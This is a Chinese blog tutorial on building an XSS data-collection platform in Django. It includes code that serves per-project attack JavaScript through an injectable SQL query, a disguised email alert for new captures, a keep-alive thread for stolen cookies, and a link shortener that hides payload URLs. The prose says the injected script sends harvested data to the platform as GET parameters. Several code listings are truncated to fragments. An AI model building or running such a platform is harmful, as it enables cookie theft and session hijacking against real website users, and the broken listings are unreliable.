使用Django简单编写一个XSS平台
1) 简要描述
2) 基础知识
- XSS攻击基本原理和利用方法
- Django框架的使用
3) Let’s start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
- python 3.7.0
- pycharm
- windows 10
- mysql 8.0.15
- Django 2.1.3
需要用到的第三方库:
- django
- pymysql
- requests
0x02
我们先看一下XSS脚本是如何工作的
1 | var website="http://127.0.0.1"; |
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check
def get_info(url):
if not re_check(url,'num_letter'):
return 'default'
db = pymysql.connect('localhost','root','root','xss')
cursor = db.cursor()
cursor.execute("Select name From projects Where url='"+url+"'")
js_name = cursor.fetchone()[0]
if js_name == None:
return 'default'
else:
return (js_name)
def get_js_value(url):
js_name = get_info(url)
file = '\\script\\'+js_name + '.js'
js_value = open(os.getcwd()+file).read()
js_value = js_value.replace('<-1234->',url)
return js_value
1 | import pymysql,time |
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26#coding=utf-8
'''
邮件发送
'''
import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr
my_sender='xxxx'
my_pass = 'xxxx'
def send_mail(user_mail):
try:
print(user_mail)
msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
msg['From']=formataddr(["XSS平台",my_sender])
msg['To']=formataddr(["顾客",user_mail])
msg['Subject']="您点的外卖已送达,请登录平台查询"
server=smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(my_sender, my_pass)
server.sendmail(my_sender,[user_mail,],msg.as_string())
server.quit()
except Exception:
pass
1 | ''' |
注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:1
2
3
4
5
6
7
8
9
10
11
12import threading
from xssplatform.keep_alive import action
class keep_Thread(threading.Thread):
def __init__(self):
super(keep_Thread,self).__init__()
def run(self):
action()
if __name__ == '__main__':
th = keep_Thread()
th.start()
短链接:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24'''
短链接生成
接口c7.gg
'''
import requests,json
Headers = {
"accept" : "application/json, text/javascript, */*; q=0.01",
"accept-encoding" : "gzip, deflate, br",
"accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
"content-length" : "53",
"content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
"origin" : "https://www.985.so",
"referer" : "https://www.985.so/",
"user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
}
def url_to_short(url):
global Headers
data = {'type':'c7','url':url}
r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
list = json.loads(r.text)
return list['list']
4) 最后
其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。
此项目已开源于Github,有任何问题可以提交issue,我会在第一时间进行回复。
我不会不断更新此项目,感兴趣的朋友可以多多关注我的博客。